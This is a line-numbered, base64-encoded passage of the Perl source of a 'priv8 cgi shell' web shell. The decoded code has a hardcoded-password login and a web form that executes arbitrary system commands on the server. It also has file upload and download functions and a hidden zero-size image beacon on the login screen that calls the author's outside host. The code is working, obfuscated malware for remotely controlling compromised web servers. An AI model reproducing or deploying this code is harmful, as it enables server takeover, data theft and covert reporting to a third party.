1788YXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBi
1789b3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZl
1790ciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhl
1791YWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0K
1792CQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMg
1793dGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9
1794ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9
1795ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0K
1796CQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJ
1797CSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIv
1798Ow0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxu
1799fFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4
1800KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRh
1801cmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNw
1802bGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGld
1803ID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsN
1804CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMv
1805JSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICJcMCIgaWYgKGRl
1806ZmluZWQoJGlueyRrZXl9KSk7DQoJCQkkaW57JGtleX0gLj0gJHZhbDsNCgkJfQ0KCX0NCn0NCg0K
1807Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1808LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMg
1809QXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0K
1810Iy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1811LS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVk
1812Q3VycmVudERpciA9ICRDdXJyZW50RGlyOw0KCSRFbmNvZGVkQ3VycmVudERpciA9fiBzLyhbXmEt
1813ekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJcHJpbnQgIkNvbnRlbnQtdHlwZTog
1814dGV4dC9odG1sXG5cbiI7DQoJcHJpbnQgPDxFTkQ7DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPnBy
1815aXY4IGNnaSBzaGVsbDwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCg0KPG1ldGEgbmFtZT0ia2V5
1816d29yZHMiIGNvbnRlbnQ9InByaXY4IGNnaSBzaGVsbCAgXyAgICAgaTVfQGhvdG1haWwuY29tIj4N
1817CjxtZXRhIG5hbWU9ImRlc2NyaXB0aW9uIiBjb250ZW50PSJwcml2OCBjZ2kgc2hlbGwgIF8gICAg
1818aTVfQGhvdG1haWwuY29tIj4NCjwvaGVhZD4NCjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5m
1819b2N1cygpIiBiZ2NvbG9yPSIjRkZGRkZGIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1h
1820cmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiIHRleHQ9IiNGRjAwMDAiPg0KPHRhYmxlIGJv
1821cmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8
1822dHI+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgYm9yZGVyY29sb3I9IiNGRkZGRkYiIGFsaWduPSJj
1823ZW50ZXIiIHdpZHRoPSIxJSI+DQo8Yj48Zm9udCBzaXplPSIyIj4jPC9mb250PjwvYj48L3RkPg0K
1824PHRkIGJnY29sb3I9IiNGRkZGRkYiIHdpZHRoPSI5OCUiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNp
1825emU9IjIiPjxiPiANCjxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZm
1826NjYiPnByaXY4IGNnaSBzaGVsbDwvYj4gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9u
1827dD48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjRkZGRkZGIj48
1828Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4NCg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9u
1829P2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VXBs
1830b2FkIEZpbGU8L2ZvbnQ+PC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxv
1831YWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPjxmb250IGNvbG9yPSIjRkYwMDAwIj5Eb3dubG9hZCBG
1832aWxlPC9mb250PjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij48Zm9u
1833dCBjb2xvcj0iI0ZGMDAwMCI+RGlzY29ubmVjdDwvZm9udD48L2E+IHwNCjwvZm9udD48L3RkPg0K
1834PC90cj4NCjwvdGFibGU+DQo8Zm9udCBzaXplPSIzIj4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0t
1835LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1836LS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0t
1837LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1838LS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCSRNZXNzYWdlID0gcSQ8L2ZvbnQ+PGgxPnBh
1839c3M9cHJpdjg8L2gxPjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48cHJlPjxpbWcgYm9y
1840ZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cucHJpdjguaWJsb2dnZXIub3JnL3MucGhwPytjZ2l0ZWxu
1841ZXQgc2hlbGwiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvcHJlPg0KJDsNCiMnDQoJcHJpbnQgPDxF
1842TkQ7DQo8Y29kZT4NCg0KVHJ5aW5nICRTZXJ2ZXJOYW1lLi4uPGJyPg0KQ29ubmVjdGVkIHRvICRT
1843ZXJ2ZXJOYW1lPGJyPg0KRXNjYXBlIGNoYXJhY3RlciBpcyBeXQ0KPGNvZGU+JE1lc3NhZ2UNCkVO
1844RA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1845LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0
1846IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1847LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1848LS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+
1849DQo8YnI+bG9naW46IGFkbWluPGJyPg0KcGFzc3dvcmQ6PGJyPg0KTG9naW4gaW5jb3JyZWN0PGJy
1850Pjxicj4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1851LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50
1852cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1853LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpz
1854dWIgUHJpbnRMb2dpbkZvcm0NCnsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1l
1855PSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCjxpbnB1dCB0eXBl
1856PSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+DQo8L2ZvbnQ+DQo8Zm9udCBzaXplPSIz
1857Ij4NCmxvZ2luOiA8YiBzdHlsZT0iY29sb3I6YmxhY2s7YmFja2dyb3VuZC1jb2xvcjojZmZmZjY2
1858Ij5wcml2OCBjZ2kgc2hlbGw8L2I+PGJyPg0KcGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIj
1859MDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0
1860IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0K
1861DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1862LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRN
1863TCBQYWdlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1864LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJ
1865cHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1866LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1867LS0NCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNh
1868biBiZSBhY2Nlc3NlcyB1c2luZyB0aGUNCiMgdmFyaWFibGUgJENvb2tpZXN7Jyd9DQojLS0tLS0t
1869LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1870LS0tLS0tLS0tLS0tLS0tDQpzdWIgR2V0Q29va2llcw0Kew0KCUBodHRwY29va2llcyA9IHNwbGl0
1871KC87IC8sJEVOVnsnSFRUUF9DT09LSUUnfSk7DQoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2ll
1872cykNCgl7DQoJCSgkaWQsICR2YWwpID0gc3BsaXQoLz0vLCAkY29va2llKTsNCgkJJENvb2tpZXN7
1873JGlkfSA9ICR2YWw7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1874LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0
1875aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1876LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0N
1877CnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3Nl
1878ZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0t
1879LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1880LS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2lu
1881IGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1882LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXBy
1883aW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUN
1884CgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50
1885TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoN
1886CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1887LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9n
1888aW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdA0KIyBkaXNwbGF5cyBhIHBh
1889Z2UgdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gcnVuIGNvbW1hbmRzLiBJZiB0aGUgcGFzc3dvcmQg
1890ZG9lbnMndA0KIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5
1891cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gbG9naW4NCiMtLS0tLS0tLS0tLS0t
1892LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1893LS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9naW4gDQp7DQoJaWYoJExvZ2luUGFzc3dvcmQgZXEgJFBh
1894c3N3b3JkKSAjIHBhc3N3b3JkIG1hdGNoZWQNCgl7DQoJCXByaW50ICJTZXQtQ29va2llOiBTQVZF
1895RFBXRD0kTG9naW5QYXNzd29yZDtcbiI7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJlBy
1896aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KCWVsc2Ug
1897IyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJ
1898JlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFz
1899c3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJ
1900CX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KIy0t
1901LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1902LS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0
1903aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1904LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBy
1905aW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1906RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8
1907PEVORDsNCjxjb2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3Jp
1908cHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFu
1909ZCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1910JFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1p
1911dCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCjwvY29kZT4NCg0KRU5EDQp9DQoNCiMtLS0tLS0t
1912LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1913LS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVz
1914ZXIgdG8gZG93bmxvYWQgZmlsZXMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1915LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludEZp
1916bGVEb3dubG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDog
1917IlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxj
1918b2RlPg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlv
1919biI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0K
1920PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImRvd25sb2FkIj4NCiRQcm9tcHQg
1921ZG93bmxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBz
1922aXplPSIzNSI+PGJyPjxicj4NCkRvd25sb2FkOiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i
1923QmVnaW4iPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0t
1924LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1925LS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2Fk
1926IGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1927LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlVXBsb2FkRm9ybQ0K
1928ew0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVy
1929TmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5h
1930bWU9ImYiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9u
1931PSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxp
1932bnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZu
1933YnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpP
1934dmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8
1935aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIg
1936bmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9
1937ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0t
1938LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1939LS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91
1940dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8NCiMgdGVybWluYXRlIHRoZSBzY3Jp
1941cHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBp
1942cw0KIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuDQojLS0t
1943LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1944LS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQ29tbWFuZFRpbWVvdXQNCnsNCglpZighJFdpbk5UKQ0K
1945CXsNCgkJYWxhcm0oMCk7DQoJCXByaW50IDw8RU5EOw0KPC94bXA+DQoNCjxjb2RlPg0KQ29tbWFu
1946ZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25k
1947KHMpLg0KPGJyPktpbGxlZCBpdCENCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsN
1948CgkJJlByaW50UGFnZUZvb3RlcjsNCgkJZXhpdDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0t
1949LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1950LS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQg
1951ZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUNCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2Vy
1952IHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkNCiMgY29tbWFu
1953ZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5
1954IGlzIHN0b3JlZCBpbg0KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRp
1955bWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlDQojIG91dHB1dCBvZiB0aGUgY2hh
1956bmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzDQojIHRo
1957ZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLg0KIy0tLS0tLS0tLS0t
1958LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1959LS0tLS0tLS0tLQ0Kc3ViIEV4ZWN1dGVDb21tYW5kDQp7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9e
1960XHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBj
1961aGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNv
1962bW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJDQoJCSRPbGREaXIgPSAkQ3VycmVudERpcjsNCgkJ
1963JENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4k
1964Q21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSZQcmludFBhZ2VI
1965ZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxA
1966JFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZCI7
1967DQoJfQ0KCWVsc2UgIyBzb21lIG90aGVyIGNvbW1hbmQsIGRpc3BsYXkgdGhlIG91dHB1dA0KCXsN
1968CgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50
1969RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCgkJcHJpbnQg
1970IiRQcm9tcHQgJFJ1bkNvbW1hbmQ8eG1wPiI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnRE
1971aXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsNCgkJaWYoISRXaW5OVCkNCgkJ
1972ew0KCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsNCgkJCWFsYXJtKCRDb21tYW5k
1973VGltZW91dER1cmF0aW9uKTsNCgkJfQ0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBv
1974dXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkDQoJCXsNCgkJCSR8PTE7DQoJCQkkQ29tbWFuZCAuPSAi
1975IHwiOw0KCQkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7DQoJCQl3aGlsZSg8Q29tbWFu
1976ZE91dHB1dD4pDQoJCQl7DQoJCQkJJF8gPX4gcy8oXG58XHJcbikkLy87DQoJCQkJcHJpbnQgIiRf
1977XG4iOw0KCQkJfQ0KCQkJJHw9MDsNCgkJfQ0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29t
1978bWFuZCBjb21wbGV0ZXMNCgkJew0KCQkJcHJpbnQgYCRDb21tYW5kYDsNCgkJfQ0KCQlpZighJFdp
1979bk5UKQ0KCQl7DQoJCQlhbGFybSgwKTsNCgkJfQ0KCQlwcmludCAiPC94bXA+IjsNCgl9DQoJJlBy
1980aW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCn0NCg0KIy0tLS0t
1981LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
1982LS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQg
